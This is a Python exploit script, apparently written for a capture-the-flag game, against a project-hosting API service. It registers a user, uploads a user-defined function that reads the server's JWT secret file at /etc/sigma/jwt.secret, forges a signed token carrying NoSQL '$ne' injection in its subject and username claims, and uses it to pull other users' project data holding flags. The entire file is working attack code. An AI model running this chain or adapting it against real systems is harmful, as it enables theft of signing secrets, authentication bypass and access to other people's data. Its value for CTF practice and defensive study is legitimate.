132 lines
3.7 KiB
Python
132 lines
3.7 KiB
Python
# Эксплойт основан на доступном в файловой системе JWT секрете,
|
||
# который можно прочитать при помощи пользователской функции.
|
||
# Этим секретом подписывается токен, содержащий NoSQL инъекцию
|
||
#
|
||
# Он позволяет получить данные о чужих проектах, включая описание,
|
||
# которое содержит флаги.
|
||
|
||
import sys
|
||
import uuid
|
||
from datetime import datetime, timedelta, UTC
|
||
|
||
import jwt
|
||
import requests
|
||
|
||
HOST = sys.argv[1]
|
||
PORT = 3000
|
||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||
|
||
FUNCTION_CODE = """
|
||
res.json(fs.readFileSync("/etc/sigma/jwt.secret", "utf-8"));
|
||
"""
|
||
|
||
|
||
def make_id(prefix):
|
||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||
|
||
|
||
def read_secret(
|
||
session: requests.Session,
|
||
headers: dict,
|
||
) -> dict:
|
||
slug = make_id("proj")
|
||
project_name = f"Project {slug}"
|
||
|
||
print(f"[*] Creating project {project_name} ({slug}) for FS read")
|
||
response = session.post(
|
||
f"{BASE_URL}/projects",
|
||
headers=headers,
|
||
json={"name": project_name, "slug": slug, "description": "FS reader"},
|
||
)
|
||
response.raise_for_status()
|
||
|
||
project_response = response.json()
|
||
project_id = project_response.get("_id") or project_response.get("id")
|
||
project_slug = project_response.get("slug") or slug
|
||
|
||
print("[*] Creating helper function /sploit")
|
||
response = session.post(
|
||
f"{BASE_URL}/projects/{project_id}/functions",
|
||
headers=headers,
|
||
json={"name": "Sploit", "path": "/sploit"},
|
||
)
|
||
response.raise_for_status()
|
||
|
||
function_response = response.json()
|
||
function_id = function_response.get("_id") or function_response.get("id")
|
||
|
||
print("[*] Uploading sploit code")
|
||
response = session.put(
|
||
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
|
||
headers=headers,
|
||
json={"code": FUNCTION_CODE, "methods": ["GET"]},
|
||
)
|
||
response.raise_for_status()
|
||
|
||
exec_url = f"{BASE_URL}/exec/{project_slug}/sploit"
|
||
print(f"[*] Executing sploit function at {exec_url}")
|
||
response = session.get(exec_url)
|
||
response.raise_for_status()
|
||
|
||
return response.json().strip()
|
||
|
||
|
||
def forge_jwt(secret):
|
||
payload = {
|
||
"sub": {
|
||
"$ne": None,
|
||
},
|
||
"username": {
|
||
"$ne": None,
|
||
},
|
||
"iat": datetime.now(UTC),
|
||
"exp": datetime.now(UTC) + timedelta(days=1),
|
||
}
|
||
|
||
return jwt.encode(payload, secret, algorithm="HS256")
|
||
|
||
|
||
def main():
|
||
session = requests.Session()
|
||
|
||
username = make_id("user")
|
||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||
|
||
print(f"[*] Registering user {username}")
|
||
response = session.post(
|
||
f"{BASE_URL}/users",
|
||
json={"username": username, "password": password},
|
||
)
|
||
response.raise_for_status()
|
||
|
||
print("[*] Logging in")
|
||
response = session.post(
|
||
f"{BASE_URL}/auth/login",
|
||
data={"username": username, "password": password},
|
||
)
|
||
response.raise_for_status()
|
||
|
||
login_response = response.json()
|
||
token = login_response.get("auth_token")
|
||
if not token:
|
||
raise RuntimeError("Login response missing auth_token field")
|
||
headers = {"Authorization": f"Bearer {token}"}
|
||
|
||
secret = read_secret(session, headers)
|
||
print(f"[+] Retrieved JWT secret: {secret}")
|
||
|
||
forged_token = forge_jwt(secret)
|
||
forged_headers = {"Authorization": f"Bearer {forged_token}"}
|
||
print(forged_headers)
|
||
|
||
print("[*] Fetching projects with forged token")
|
||
projects_response = session.get(
|
||
f"{BASE_URL}/projects",
|
||
headers=forged_headers,
|
||
)
|
||
print(projects_response.text)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
main()
|